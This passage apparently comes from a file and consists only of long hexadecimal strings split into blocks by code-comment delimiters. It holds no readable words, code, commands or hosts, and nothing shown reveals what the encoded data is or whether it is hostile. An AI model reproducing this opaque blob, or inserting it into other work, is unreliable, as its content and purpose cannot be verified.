cdf4efdb7ed6ad8b5467435076b700aa4a17c90c71bce82679ef606618acf8fa3fe457893c32dc31009713b1e4b32ed039ab9ca6d031e528831dac40fae1dbef567bb6fa0f8d89244895c3ceff04e384792bd19598ad91a2be18b3dc6982fabe8afeee976eb523995e4e9ddac954cb2e8314e361fd00de32b4c82cf71b7120005e1e2cc6c07335ab11cf2dbd44c4769696edc76ba62acb88beb5de932cb6414b23bb3f640c820f2fafdb0adc94e3e6e08325df7cf9b709a846b44e02bf5d57bb6216362c4fc0a883fbbe326c31f29f3320ca3141b50fb59a87ca6cd812e6b70f77445eda40257b6fc0c1ce1c4032183e4e4e886aaac9e890644b14d1430dbbfba3e22211cfda2996fd6fe512fa927c520ca8dec87c76c89bb57a63ffff7c5c93ee0b200450412609eaf44b647e3c5670873a229da9b75d74eff40737bb21f06f89bfa006f4f7aebacc286ca80ab658ff69afaccdf763099733a882b3d2354971dcf383b970bdc2d32519b193ee2bea7195096a90b1c964db73ec80461dae535c19406767b619c344c9b21957131f40c30f8304a5974491bcc1cbeff10438efb459c46058dc3c539538b48d943624ff38e68c702b0cc278d132624e44df3ee2a6c73e3edb7d5572aba3c94223a8e373d3cc9591c4207f4d82454360796f4216cf780a808b0994e78d2f6add1a7acb7a5937d1233b8aac799ec152ef1869155db692463291a872fa7d06c48023ce2bd54c5fe12d29c27ccfc9022b0fb128e86e69f7ca13e0c58e3ef777a96b491bfb9528b4735ebb7667f34ce56c333f1cbf0dcae7170425285119bf5996140f7e33cc80c8707889c11e6bfbb70b031451177ccf564aefc2fbd217a329802b154e4c74957ecb69e474ac5e0ab2e068fb4eca39c50ef90fb8f116aa391ce9e397a305b4aad8a8630a619f10b2f9060c06a52464d066f63500f1c87ba53bcd56a1bbd839b118450cc32920c684bb4220b5b7afa0f116100251a1d15e536462afa43425fbc600140b65444184f692da8a7ead03d407e009a817ece075f09d1015f7f24fb1f69d502f4c6716d66e4a6c51a198cebcdb1ff31569a3fc70f26eeb9a7c1bf107b27033f81249282eea5de54a88f07681085a7346aeb56a7b13f33a22d36e0705debddd20561024b24080eeccf000267fefc9d6de940e4079180c17d6bce8dd4cd20c9256c0ce6acc5459318f9b234197edc12664a17619badd4c1a4fa37db8d7f492820e3c7648950ac5b2aebb5e5d15ac7ec22ca4fd2cf0e11942306b5652d0672657cd5469ef95d7352a1e87f0e0789d8d1d2402f80642841eadfb69c98d434833806ff9ee2a708c8992e0f7defae595aae75297ee80fbf80421e86c9a7c012424105b4c9c67c3b56ff6359a040f03cfd236024d69eb4b5157e74c7c075f6af59688acd211f30f47*/
/*26a45587cd2a7fc014e0b82ae0286e29402335e26e199f89703fe3c05d23204cbf78a36421513fc23224a832786985671f55307ad8a5a65496051d933db02cfc0cb932acc5c66d4dba6d4e428dd53c850102ad08a9afdb376623405d4363858920855aa4e82422a9f746dac8a94c99f76fbf464d0248131ce3ea681076ac68ff6810690b1ff98d812119cd4d8146696a2d2be96479640054207819dde7d8b0e8a1fd5df249abea107405de81252ebfccc1477543be39fd360735e94372441066de8eef842001fd51895865bf3177362e2f1091a784ea7a79a2b1c17975abc9f673c208645f68f3b94a2c1ef7e1ad64275b92da1eb23167a1334b75adb437e67e123bff2b3c822f80be530d11d3830a7de5dc91f88d2ee76206bdcd2bdbc764ad2269842a7fdacf1fff52888ba021547ecd2b73674e5366f336a57f3d2183eb6a10eb36a940595b4a50c22b8c73ffb32a6f6d7f23bba3ce08d06143139d90d2a2bd39e371ee253ac84ea3f1d1140b633ac0a9e60560429e72e305a3f108c2b60f4ac6970367e4d21dbc990339e7b6a0f86de41e70b881165b3ac4fc607786e3db5cbe30d045970332f1f0c87ab7536c1498f4bb104652b457a0b693ffb291323f22c9ad69a0b635bbddf03ae3358021cc8e84e1a02c662ed0dcaa53fa2d18638b9be139ae63d1cc99840c301283dc94bcfb5b9a7752f9d8062bf1c851f41ba8473417f8f2b66a7ecd8ddfe9aadd85cf82717627ce8b20dc5eb5319bf6d3dca9601975d7c13eccd2a535ea34721d650d028544b854dedcb67fb0d87f95bf5e6a5d45694a90ba0c5c5fbf24a77f75257406f6e3f9f94b5dca77c3f3489491ce36443a68591c7477394c6f6ec6f9fbdd1a10d5c9dcf8d729a07133678632e502691f7358f0ec11b415cddb64db9e2f76fd22b4a325c36e99e60d47e57ebf5c8c3070acd6f646eaa877516244cc8404934eb0cf10eeb2d19f95680824dfb8e76bce5fe3802c9d54f5ea30f91fc256ef0cd3d41a7d7896b92a3282a93943e853ec095483bfd86d1f17c3d3b935560914b19e98ca189bbe84f2659b7f09ea6e9bbac67f2b5b289b3f10b51818d02940c4d7852f389c1189be31373031cd59deb6037fd683417eafef90681301bd2dc25cd2376337b53c42cb234f06d9736fcc2c7b490352167e9411aee7b527fac74f85c5e7381ed0fffa6f507b70683ddb1926ee180e27125d861c778f53791c06d5d53a2f4b59ab650ad5f00af1d9de60acb775c8559ff2a87144f144359968d9cdcc3f361571dc65bcf1f1128794ea4499d50d9c4ac474c0954796e8f5bcb2507e4cebccaff6d7a3b194c4666a006fc040384bcf1f66fbf4ac5330096eb133781e7597d50f6472f444c05f756345f0dd95924c79c196b28b76cfb893c415d2fbf306afcedc18f0fe15f0f4c89eedd761889851626e0f046e9841ab08c1d1eee6cc109624d8b0e76994cfcc7bede4325fd1688e6257d075970e973f02f7a022de6d326149f730aff598590234418f3c2ae6c4d4182380b5b692c51a5fa144487f5af124f75612bdcecfc036359cf0cdc3221f698876b28edcda4ef740d7316e50edcc2d4f7b4a13f60b1feee44cb0dcc99e4634f76201df2d73d34c5710b715c2beeb9db9ec1e58f97b408b64ce4c1872ba6e7b3357f9b4dffa591780ce5d9c4fd8734e283ce9195651ebdd081a2aff40f6433def4c64dbfe2b6a520af1353c6b71ed341399c3a2083b66b97ddfb096a48c2c90cb5a116c240386c69e3511d541e7c2a05a8dbaaf481e379bc5f485d8e9e32c8027c791ce4bd9523610481e089482fd32a48a4e8753184bde0ab3cac99513b6ce51daf43f35632c74ae6424e39fef62b8561ff84b30865f56b85d9df5a42f598bd8bd16ea0b0e52cae860f6c95d7b7729c124244019be73764ed4489ee6d4229d1aff0f33c497c04ea9c8823a84a8266d01d405c0bfb00d1dccfc80cd8b303de58ebbe207dc89ded6b92a678e63cb32516ed6eb696ab1ada23cd8e1aa40d1d8817826f927826e43cb9556f976517f9b35e011a25fc17bdfb673af64f4805474776553b24b11227d6ad41df9e75f2d704a03a76bffdc6481fa1a7e3c7eaf727bb184cac8a5deb77babaf4daa35aab32baed5edaa1a6b95dc00fd8e8e4800997b8a2e6de966510b903bd779ba35f78cfc65bc0c21ac3f0f805d77c457e33f1fe9bf89d0792bcee1dca9bd73e42bce788e3c7b4163e3bafafba0f8fffaaf51bc0e00cb55ace5238e0dd911dd9b112cf6bc27cfff40dbd40bdf5b6270afb15f655495c6acbe27e3adc4ddaed91280e1d929a9e957cc62ce8ce558d9cd18d8d74a603488765e6600363325278bb70e762b8488e34f8bf58aa9c55e08d45cc9a547f7782f6da89f8e78701a29d89784d8a17757e4f6022a81f01f02924d8cc5847af00e59567f30273a9b28bc3a02ee1117e879301afff6fcf42ea6c8486e1f5f1b1ae598ec665e7fbb34d8c25cf54d39a009586a8939c3970438b704c4fa70d50ba491730bfdd5e133826885043086e543e218f711e9aca4fe0c8fe8adc2e5cfb915ac6bc9a7c21539fd5b4ae1cb286b619154c23790e06341ac7544d8c4f51e0bfefa3470f14701376343009e4cf4952e90dec4d89faa3aea10c3ac9bbc976ba0cb31e271f1f8d070a70badb3d7ae41bf8b80d95f184c55848dfc3040c68017cb65593944a3956ce5dc4bcbe1e6d515b61be6fd418718c62b8e0d065e16e1e56fd547fad3564e1b1752081d83b26ba742955070ee23a025b9ac855f4a3b1d5950d9b1ec4a836426ec3190231d6287a9ab5aa3749c*/
/*2a2d01a04b5d62ba948829272f9d420d17a7e95a021acf8fa9877a9a9adb7e752e41d40b9e30079a55f7ee5d723c5d2a050452fbd5ecf3b73d2c384aae00892a01e4373779c73b9786c8ed30fbdae2d49a71947737dbd927ad23672fe2f8e84660890df201a9dbb4d2013972c32cb74c48957404d9de486e6c680a1d80477422839bae4106967b7e06d39bb0b4f9ca3faa9a9528489960ae8b94a399bd5f66b559877143e349f526ece70af2378a9350e294b880b023aabad3adcc5125be90c69a17f9f72f733b62df7f5bc8f7b05085a4c02fccff710ac6dd61c1e67fd5ef045260929a09026ca0fb1271c0c54c8d94f29da7229d9980a523fb9d4a305196bdc27398ac78307c410a8a795a6b385e4e693cc2e15cdfbb1c67f28dd2c60d7ff32c8f741b9324c6d158c9b29f84755a3283d77f0c65a7c74157de140939aa3dbd8039b28ff4350462960447b9a813fda24cb9667d8e4fc53dc3524fcf6aadc96c1949e49e520b2283165862a75f862556089da58dab173c166b85e32874ce7e3f73a106008b3c9772efb0eb7737120270c10166405b78437a808fdf24ef734bf04d4e85f4584700b1a7c6e2387bc1434427ce6497158f7910910eaeb9c7ab027fe071a58f4bf5b79529713b8eabb93d4ef8c256c3c2884b15dbe42f292a8760fba36c4e4ff413fe962aaa0859b73a050e33f4d0af0ee355c5e18abb227768cb5a89a11afe6f3aabe085b53b98619b2c872faca2fe88f627bc2e3fdc5729b30dd74bd178199f391d07e74d188469be3c3887680fb064a216c356ef60d512ded166b5b66f502f6b9c8c91b6131c898cf7ba3f2f8af47a92b17102b9bfbcf7874bd92a5d9408c12a775a105d04f0733a85bceb195df8d1f9b8dc3fc78a47d5f79fcd6006b20db822308f0eea1f4512c08141296195669ef03104fce9768c4493fe261b60463f274d9aa566561a1edba6b56f3c8b5d1bf20752410678f6542bb4a3ec3dc2415b57ec03692e6d3bbb8d60e71614e3d2b1a44177114f4954074250fa13556b15cbc6b5c7b50821ea73c85ebc92b45cc5c5660a7f0680b30f37f404d0e4ed0e03a32f7d7c157363515dcdce1e5192b41efce253339cb9fbf88dfe03323ce0564221e3cc74489cc4ad375a3f1dcd2d531581c58df28fefb4c533e7aeb3b64cf0f394cdb436631a8181a1526f14d09fe0445e533f45f483ce11f5e315dbb09fcccf3420cad7f0edb0576a0d4ec3819c9594cf63298381820a9c0175619902e6691b33954d9dbf997bac8a93f01f1bb8957c16e2ae8bc91465f20843bbad86be1deb87bf69aa169f927af4186d6296cb129619a8e85b35691e074f1f103313b8056477ec3fece2a62236c76977ee95e47e2794e0ba9a52e5a52317e1fa6287a77a8048d9e01e4e9e294110d5811dbc36849a614f60538876097401d67edbc4891429d285c8f1376e59a6f69133ce640179a6348c53f7a67ccd0094bfb55cd9dd5f811dad3a7c1a00dfc30491ea8795b833a3250bfec3d7b8f01d8e04b16d4a7b20aa01febced7332412d5a7218636f8621bec5b8cdca3febda75ee5be93ac26aaaf9a8effd0a2ebf0b53fedfc4a081a9045fbe49cfce10f5ac611e9728fd8006c51474db67f90566aacba307932fedc19751c9909a5f95b3ddcca994b3576e429575983d1006aebabf7d94ee6120f609998b650f41d6546ec3cbbbfe06175211d702807b60b3278c0327216cfd117520767838242d553de6e73572551a4cb2edddcf7092b83bd3a331423619f40a9b0364594d3d4f93d458ab062d6b5dfb6bdd4f2a109851982caead9da392a3c2088a3e1ae2a578c1d6020a369b5ab700aff306f80453603e62c08504c46c3266859fab6de2950727dae2c93f0916a677079e3f8c3001fb71494019c9d0327beeb092b1a9646b989124d5ccf6f1edc79b292bfde4cb6d2180eb3b6ad3fceef28baec90d4855ad623f77dbdbe4145dd36817f36489c3baf6555d4e660b0cb4f092cfd82681838bf4d4d994bba04407db91cd9fd9a2eb9c9f5db8d36e3e48d2936b10edea692ad4c37416744a3cc0df6e770cf780ee0cf4cdef7bd88c4902c46bc23058a130b85bddf497ce6bf5ea79871d9fdd318ac12843b7d0809b855db077b0ff97943bdafa5e7ae0d60054af29d2b58152c7f451cb021efbb0e19ae7e05ea8b7171ed72526fdb2ccadcae48d5d29adc23b1a203785e76a9e452f46d381aa00aa4cf0defee22b2dc9c560f6e279f7228d7c264fa76a907be1588fce3c9199ac2925cb9d155cdabb1fe006df87c94e22ca259b9ce0d35d25e379b99c993d52cb0719d0967b21113c4857ca1c8ae44777a62835226b78c4c7557ca4515fb573918dc4ce8353dd3e867b2b9e741409e3a42433e091195d5945faeac0cb3cce1333e261126773d8518f3e7d52473719476b86a6272081c2ae04560e28d2ac92decf6952ee363331625cc21e5c24b10c75c5230f550f8e0f010788554de92fc29584ed8804fc947502e77c641182157b931421fbfc008017a483b6f7fabfba96e0767a83ac4136cbc2a2d090c53c353b99a8f773d9e521a714425256c75f87277711da0fb0fb1ede98935c0434e0d64772bf9481b7517a83738290d6a766fcae1320bcb0b82e2410bfde8be05725952ee60ad1a8d1486293252c3c8a740d072dbcb511220e45879c969ada02f3ad10c368f5cff995cfd199f0863ea7ee99e9002592c09e5ede8990e9ca85705f0f2ca36a6721724b25fe548d28dc9dbfe9c2632522fdb5858b9fe26afe7e37104617d4fec0dbe8f854b5054751291de6ddf91a6ec72e*/
/*43f306ecbcfb1411b4fdfd057eaf60411080d1502b65f83f2644815b475a34ecaf717284eaddbcbcbea278c3200f66b6a1837c4c707acd28433cdd4bbad5a38ea2fbcbae29c777cef50b5cdec3e282e6343e10e0a08556ed495b0639d1e929a46f328d99e18cba808680073cb4fd61773835cb542f985d1dd44c33d85c1979ce3344bf6bec316bbdd73a3787702d31607c72842de3855b14ed3eaea7abf3e16f1bb89209d04f9bc361f1a05ecc0a4bdd49fa3ddff6862440e8c45e767b1f8aa649264de71f4acd973257b6897d620233560ad8cac2274e2afffed5720517720cfdbb1359d5afaeac0d26b51571eb80410fc65ce72bbd6be88ddf23dfd9f559e270f3ffad2201525343671b5dcc96bb78a72532a47e559888ed5df8b26fc8df2bb2e823c176b5ecaca2b3e448a72e0a3596d67b96178800a24265778e0a83e3a285334bcf1a25788ee715597089e2be2d273780e0a5323ee0e294ee8863a6ef87fa7e74443a4e672efaa2d4c4ec4a235dc8a1cea8eeca235e916b0ac8c61f7a40c1fc0db3e0e76ecc1885d3a395f3ff10346a3a399334f31aaadd7be083ae7e7261e15939261f593ac2930ea7a36879c013b1a59b77bb8a33a7366e4ed7b92ed0a224d45b496916d673cb741efde15ea13af12a0af6bedbcfa825cdf00643e4b6d316d7cbaa0a4efad864eee33121e001091759007d12ed882e40c11a40e02da27d9d8833cbadc5447c9780f2dad1f0f7ab105ab5ef65e48b1481133be690d68a6e82efa93f526cc820b7ab77bbd8755abcf496820840baf2acf6266dcb058cf75469f206f8db3683460deca1cf5d580610a950acd478e280e071ab7f9b68f44fed612fa6fefa11fdb29a1b220a5302c2f9c0a365c833e82535e5e0aa81447b46142298b04d88389eb279007344f7c61e71a045cdf359ba5687a1d52cba5e1cfe82923575b726bda82cff8a905ef29ec5d58fa8acd0d43ed17c9df4cfb09befb6c34a1388a977d91efd4acbaee3270680d4e20d8ffddd501581f41648ba54b73fec38056458745aa39da4f3e22fe7e3d076cc56a6f44e90c25538eca3929cdd956c994a8f4d9cf2887db37c0a74154c48c2ccf5a1666f8b312b372622d57d6c1eba12c6335b0426022f5c52a8ab3cf4009cb54684262e1f9a7a3e3db671340aaf930a81805b2b8a68bb2c69567f66c83f8d5fef7d6feb638e1f601d0c72d9eae8788c4645dca3e195ff8d7eba96d2b173071c30771ad0093a9a69b8077dd66b6c72f7e53c1b3f7e1e5a673dfa4e0ca5d5828cd7abc2ceeaf76cbb7938c22c7c8d81dcad2b897fc6862cdd9d4e7468345f817d5e692fa84d68f46923445bd5fcdb0279a2956b662f29a412883b9ac30502ef8f2bab33962b03e398c199f91635c56e50f1dfcea52a9a6a1cf7b8d3d1aae464dc4258608fece77d6175dcdc35c3ba8f4148c706e0eb9e7c8ee0ad69f54531d0364dcec8d9318796252d60adc95fbd4ffdd420f01dbefc0bcdf2bd97ce89f9a0e147ea7915c82574937714a8552933a8ef314290e4895125d43c73c2cc809cce3be4b7f9fc3033d36f91837d552f993483d86320c6b02510dcdc8c436d82cc38a76daeb0aba7be863d4d56b5ce6177a5dba7244ae099e7b3aef18d038c0cb1bfe67fbd91a52feaaf34e3ae3538b071d3b3d6be530ee6affaade43a9b3e221781b5414aae865d345417dd05ead155c6aef4aa4af475ce69322ab16585108c2732de78aff164018b51e1eb0088352ad33181df97aff63fe08df9da338a8ad080142c4c6c5e107bf768d2cc1f208daf0f870c577322b156332d1b7e00e3ec44f96005b899d75f6424cf2d8c0721be3047ca2ffb4024cdbcf7f0b6aefcc3c5f92c03fa1b9d9f1be7cb9856f34aa4219369ecd2d8fb62f79cff71eeab4b7ab258394e5ded0c2030145ec88ae68ddc7429035a124da574f1c64881f957b9970f728b437ecc115ef637ddc77f967943e8e7cc795a7a1e439107fbffece1c2b00fd6200f5121f5057f54f35c905a4f8856118b167671823747d14073102cdcfcc22f7e3476c16702901d323fe22c1dc160b1d48d064fe98a7074c6dee0bb8dadb31289a1f24692b6e89f10dd743076213ea408b1a476f22a3ca94526eee21c31a60bf8880830393bdedfd46e2f00d791a77e98548038569c4cb1cf94bad6d51a902569771639126f5356b63881259ab94b47431b09c961a5942327911c3137f661047d8dacbc750ff0753d291cb8c3e4d3ae14e1123c17903bbafd7d8a3b8655f7fc95622c9d46c6fe272581d555ae6d5da09f3a43402d3354f19328c8381a15249b63b41bf369b9ca44bb4f3511909eeeca146cc349e3245751e3e64d733ad8b1779d4395edac4d1e05bf5eeeed12814a491b24a59ffc4f4757d7852ec71851fc339508ebb91b41737d1c7ff4375bfa7114ffcee0bd21407962fca8d96b5e7cbf9f0b49b3983774db8e9e836607a3e897f661411d2d3e816358ae72168c8d3dca2917147dfba8e865fc1e99f5119fe29e143f87fa81377624586974ae008f25113820899b9b1b6a0801413349ada248d1e94043570e5cc86f033e0c7ee3d3a71351a6bb04cde731467745c4c4e1646bec56121136296141e1a6b8eeec286d5e29c1f69a10d7bee7525afb0c9be25a1d96b1c89d9d5c23fac8e15e4f1e73a3328eb9509cb6d17a54d6086d3392d69591b045afeacd1201de37394c3834151a66dde2115472ace9d97eae99eb7f239289f3ab65af7b14844aa21113e1245831ae6da9f683bc42ad47e904474062e5036c93480cf202095fc6af6cefecbc00ffe8b7fcc8*/
/*aade0a40372b5d824a0810fc219fa7cfffb748cd7d8ed0ce26c5858572df1eed94d30d3caa4c19579f97fc9593ada69e3ab679b1eee02a9a958befef6795f9db8f4fb397d8ba3ebb019d18e99fae844d4a404c1768bf0a262879d8ca6e8e5c0656a49879b735639426ac0135ba5249b774907f2fc940be8c3e43f8151117d0f5bdf2c4fb2ebb93f6788eec0042b30c9570369d2697d2074a5571f4bebc0823da3f21330457f79ae9ef15fcc81799747c44928dfbde408d7fe9f8712fcb7786b09509ddef5ee214b69b38cc421c8d6bcccebdaad1273e2a3b4f2e9f98f552d045ba828619782dd9908c7d692ef81d0e26c7b4692f136868b752b98efdce66929bdd1032a8063c6b22d6dbce842252e9ff68b16610e0a04a59f3dc6b168980021b4a0a81500b81c4650e12806f954d31040a12bd6e4511f95145ecbb9f94376654e0ea2b191819d583bddeb81fcea13116444489561161e8e20b15d06be3d5fbd16f6e40a213f6cfe89b2caf4798018905494fe081d4f5220004429c3a31f20c87712e5103fdb64d8733ee1a1a9154a62d695bb5e581c2797332622655ac875aa283a69d2e9253f74e46fab8864b3ccf0c38e4aad52db52c000f116e4010bffee53e8d772b4cc854eaaddc6780ae7b8799ce35835a8467d29399b952bffa21af83b03c97336f013e87a2963a55f9a70b3085408f01f96ff330989bf7cc9340363bf0619ae6de51fb6c64bcdfb1e0dd1cffccac485522434a1a534442b060ba4b8b4b12494443a68a4002ed166b16dd8ae12a15b722f7703eb6f65d7a2b09e822eaba7fc5531cd468b7985432ad05f923d0efc3f1d0d1ba22b8b11dd5bdd7b98dbd0048142c9361c554067c2edbae7d66f2a57bb4350d3f3ba5c39646fa0db8009743738206189ccb42436243544abc405d7bb1a2b947f6b937acaa9456cf1c7fb61970a280efe18665f1338b855363e0e3d9c18e987668933c1bfb29be97a8d3f862537d07668791a60e2a58aefe629278584c9085f0a74b81d1c2902e29d117be25646c3a00958756c9e994f39a56c4a59db0338e86f1114fac774962a06d8f51c7a1de10b5268b9f2512294b4ba0056e869f3cfefb82cfb49cca0d4dcacfacc9d9d3bfa767f752a87545ceaefddea15619ab18610857b4e395dd49e1d1697aa7e69d6b5f9188baf67cdcdf8dcf85e3e122700fdbc626e88b7dbda6c458f8bc57f435a14085653804e0ba153c082b1c582e2611e673759de3947578db5edc419eb55f8c7bf868807936490b4776cb6fb1598739ec6cfa0bb99d3e7f0d9ad95db72e1ab6ac31e3ea5d3d0b684a76f2f92533472be058f2208e7fb457f3b08138a1320f1632c6d6ff42fb969bf9a3e2f594b12f0a2615b134fd8ac6a839dc5acf054c4616becdb693d1410c04480e84cd34977875112d10588af61c677be1e2d916121b6d6d33d8222155e384e9479116faca67adc3afbe98515ac79c5c6ebbdb8590832ed398bae36dc05bc3567106872bd4c78679540299efd786adb44374c578940803de265469a06622b0262165de185a96d2290f2784b772ac7671297c408e4e16adbd2351013dcca5ae382bea70c8d959bf5c3d5680c2800cb93dd34afc4fbaca139cbb71417c7318398a7d9ba52760b043a8adb9c19a090246761450f21befd8bfb4e58358290d4a0cf0b433b34eef9e257bb1e2e2f84e152d378f95767d91943ff11c0effa771b9db47f51f7313186a7c7e8befe735b8d5f3880d0e7e5e7764041977bf9377e91fcb49a1aeb91c7d4f0e0a6e248701dc52f685d528403919618d5c67a3cb74ec6dfb503f572499783f3983bc91f559396636df2f6379daa4f151a6ea61ef81e1e0112cad56f4cd5ad1756f96112fdc35ed92da5f0aed352fb6177b76b76960ddec17e4eeb312eb3cb97af0dd4eb1461105a7d84903521db9d8fa9e74e3bfe9fac7eea4d02c15e3dde599b9714b41cf39f732ddcaf2175b0c7e37f133e0517bf607808be7748c12d33f2024b852ea1c517f214206a4a44521e49b65653b0cc81a3ff6ab34a5577e6d79a002b9b21aee5a228c9cbaf956b189eb4debb8dca42110e0b5c4849523490820d62487ec33e5953799e0da6ab6c5589c0de45a6b77f3735cb6d825a2a4dd7d89573aa98fe4de79c80e16f7328e403cf13bc9c0c7471c66da4523aa4dd5406d8d4fc292c028f959836f8360612f4ebbf68c37625207d782a30422633c21e0fb644191b16fa7dfdac985337dd4a8d58fe5e83f71d545e6fad56d8b54cbbcd0cdba88c3b4b2300b6f9ef7a3c160031e8a963d3d135a65405e2a947ce097b4b822c23affab990091444715c736e6157b106af64d426acb3881a0ee060ddd925a16e1d0a835e69e0da2abf4b2164eac4cdc156c4e368c24c3f613eb811f60860b234b2281a5ba3584c23f10b191da48cbd609b3e563d22d8052c35c88d5e4d0edf6d29b1347f5d7e5e13ef9571b08bdb1b7724983e34c0f5b7d6f250b5381182f9f579edc3037fde9c03df7cc643b00cfed2b78ce50f2897283d0c3703543ed3c38845ac3144b228ad989ccf3f78294424072d2b4ecedff3654dd5b78828f676a9322f0667bcce41289b8672d505f9c67f95a4223e931ca0ad08e698d0287901a7070c1d173c0624398eda93b6d9b7729fa5d54d33977b9b46c4b785c8605fea95a6679e731bd69977b30c4e51a6490d68913659caec1fe5c9a460d5e8d14a10da537282cc27f34085fe9a67530daf3b4e1022ba4bff14b7b7e614267d88b51d5cf62fd32d6457a91752efb9ea872a61dcfc8d493d48208f3a3bad866a7dcfd22*/
/*66c9c5e51218a97fc35d259d43d3ec0fed89d111b18005973960bc1e080f2584984af402830c123da4292cbb021c92e00cc4de1db934ac8ac3778534ebcf0ad11a080acaf72c9e5a7f22edcab14d0f2dd4d2f466b413ae50ec6c0587ff4e431dda585ebf1d7c53b362b53f1ddca3b0cbafd26607b5a5d487fd11df3fdc06eb3dc48a96243dd348438fdf3cb07676322a613cceddd661347b9a651515127020ba80e644af24c1b10c6a851de3eae65a8ae9d5c1b419a3775b7193cae2e1b6e5448b402816af0cf61231270e1e0a0f44ab6d146547dc1482a3f80f06981b0a41cb011d15fdce1729439dbca5f562a33d32729acb3b0f3d02ccdf7d0a893fb4d2f641c1079d0209acfe1a105bc143af2d80c7040760025dcca9b3e596be72daf54d089ecbb7354fca3c1270cc7cb9f7505c4b9bd0417741db5eb3d544606dac0ad0043f0390e248aef65c3f4c89ace4f1614e96bb4813011f659f3e917767b155e0202496ce184c30fa50f1c4958f2f76c54c84869cb54e015024873c4c6e560f71e4b30d1f2670069d9cdc998668de2717002d21baf36fee9165764d85c40cdbeba00c698eb1b42fb8fa3dc41805502ab9453e0ab78461e7bede21b285556ea2db91312671392644ceb768d8e9fd6bf9aa808ab372c7f5ab340fb85f6c230c56da0947fc4e60b3b5044ef1186e7ddac27a9da1db36c4cf2e0136e82d85cb51a47a1918ff36182551f81599aa63be17fa9e5c4e04de5b186e73011881c5082e6b8de86d3e40a0d3828d3f7797119c98c6b6f478febfaa1eec2a80d4624621584297c51506f92f5ae898c97a693ef237de1cbabe93b78bec2bb0f5b11f1991af0369da10bea47806442637064f101a91d7dca661c2ca17ebc1accfddf4985fb5ffbfd7b5f31bc2efce2500cce81e37be9b6f87e8cbdc1c7101de55e72fc8af81b765b652fbd0225638f367007238910f7283bfa51dec20a5e92900ab59a92bf3aef9e5c2765f7283ebf96e60c945b8411689c9c8b3e0902a215f50aaa85deadfc86999b37f92198454d3af58a0acd4c9d6a5d7f6a898f35f8e87c0ad000733b14c02798430f10c104573667d561638cf0891d561d3cefb23581e9cdcca0f4b2c8af035a454852b204506b23a4ec714fbc65d5b6ad5e1f2c1cc044b7b006bc9c05bb3ca47c621834f39b3c6d6e56f31eb7a07e40313797b6d7c04edefb51b80ebb64eb2d240aecc737cf1c93e4d37e7df1491a34d7a5d73722c5a17396732956666be3a0ca1d099dff2c1b6cd7570d3bdd3f214730bf4e9bd18743e3cfd1e2ebb2c63f77761c26876110ea5ddfcc136f59a3c063e8f1906c6cc8cf8ae137ad1a91a2202ad058c1f8f3888deaeb8ed979c879bcefac3cdeacefc42f3de3342dad24beacafab2e570f4e46c192437202a6861a596f97f8a0567a7180c97d032f63d1b152a4c06fbe7d4d508298271f86c91f56033190e71eb09476ab553f02cf300842915e3cd029802e51c07d5cdea9f77a97ff4b9f0a74ccf0ff31713cf72a66c6b715ddf7040d8984d9a6d2a1cbc0607610698c6c411f783ebff625bb06de67efaec47dc2ac39035480909d1b87c747da00b6ff59891d13f32faaf9abbf20378681cd02f07924c0f26bff42341c86a948f9d092c1b009b3afee2f102ff379e6e006e09c57f4dd4590f8c1071947196a6561a6112c679d01b024872c8c3e4c9729c852289727d30c58151144bf11ba0ea2fc7e007ebe802359f64c9d0488ca1ed73a73e96f8ef9f80df9e863a1f42f678bb587697a29d97400de50fde50f07a9415eb5cf5963838ba7eb77025da301c31fcd20c9639479326155f3ae800d3e62dd7c94b7d26dd9b9bf2368d3b0199e4ee0496d726f5935e67b6474fc2068ad36f11f71b74447d16b5ebfbf591c3766ed672a2fee3ffcdad6d612c99b108fb3e2856a4c3e3228db4077b97d45b03b645b658e3401cc1b7c723a1903cdb8db41d135d47417b64f9b7277a5830a9ee5e95f59c7621d910ec898b94500db36619d78bd9c4a88a8c28b95f83d25e1cbf25c520a4d35ff9f8c0bdcf36b83d39ed4446449f09f77c170d8e6e1dfb3a8850c092483e0f01e7deba987d2e3b75d51e9af19034700ef84e0a6e337facdc1ee755f2d386b596830cbf81eed656fe56868b57d090bc60c45711ae5833e4681939e6588953478a1eea0ad6a87a2ae76d3e027a4e4f22bf4a023d8016576cf10dc0de2b619eff0cfc7ae83646e0b1d7a04e0a4b2f34d9e839179bdd576db441b76e1277e2e3df66fe484027a46e56723ec349a6d1490d4c60cf02b8ece2ee39d8f6227c3aca08eee02c24188274c34e6a53c41c99e26ffb16d7fd025981f94bfe7fa692750eb933eb94d181e2ab0e0a92ae33deb0923ffa61454caaa1de629d9f786d03c25cceea3e3309d108b44c5fa5545dcd26931abafd454b166ee2266215be9fe71286fade94391cd386df06f39366a01573504d0a6ee6b048293cf1ba04e4b9993ace1a8dca1a33b0567960a008cb32dabfd7e6998c365c7da699b2ef4aa94fc2b6cc8a3ecc3abbff319f61c5c28728871f86c7ffcf26a23a9a53e9a27a99e9bcad414c3249a2eb41f018314f435f930d377719716c61de92dd3ca65b0c26640ad161c42bbd70ef909274d3f3aa13f1a9c92bdcc5692bfc7f6c16c19c9540e2d8f8f5c5c519a053cf3d80092cd0cef848012fcd46e1ef307100a5d866917928dbd464cc208532cc25d8b155280c5c891ed11a8019cc2d429fa15e235d9477dd5ee51eb7f45f5d1936c72b29d718926e61114f0eceaca7e4c5e4cb7fbb5031f036aa7c54*/
/*822b2f8835394050eedac556627fd7971da1b178ac8477ee48b6b19e7e77b62f3601180477500463960a4e9e0f9c2f219f3b51647be154db3be6ef03995c97a43ae8617d7a4a129d93281f1e3f838e9290a91428822e29f35b39235423cce4fb6feec3ab696149220bd2a5fe05cb028ce8f63cf4020767fda6351efed852f23130a169d52920ac06c285456d09884baee1e111ebcea7f7a67f3e2bddd3cbb0519436efdced8985c9a70e20659e0cec67ca8357ab5216802b08d318efcd5bf49c20d75e517198b17551c266676f5096ec82611fd1127cad4a6b772e1cbf15cbf1306d27d42d6b00e92a691074b28c2267a80469cf2236877c78cb1147db83f11791f8232bace32b26268faa1c5c34bc93786b62ff1f7fae758f68c0b9abf942d99057113bd30abf810fff3d9cb6146a54d7b612a998ff0cd96b9729690c8be212401fa2bae792a4a785b29e472a7c0bf0416cab56078bfb34a17d249644dacfb83e8a8b238afa7b27d63fbfd23fdde9b1dfd8bda5f6584148af2b72861ed0b291408120f6973b5b963dca9419b6cb93264b9d1c300796a561320490f7538577cf5eb6337656b27a53de0d5ae08f1f3658db098777fdab1236609d051da4dead1187b551efffa95181fbbefbf69d56d35f0bec93e6fe4fe2250f9c34de30261edb6df200168d043f482182213fa79e75ec2d6b4ea111d021f1c1c006eb3d63b70372cbc5dfeabae8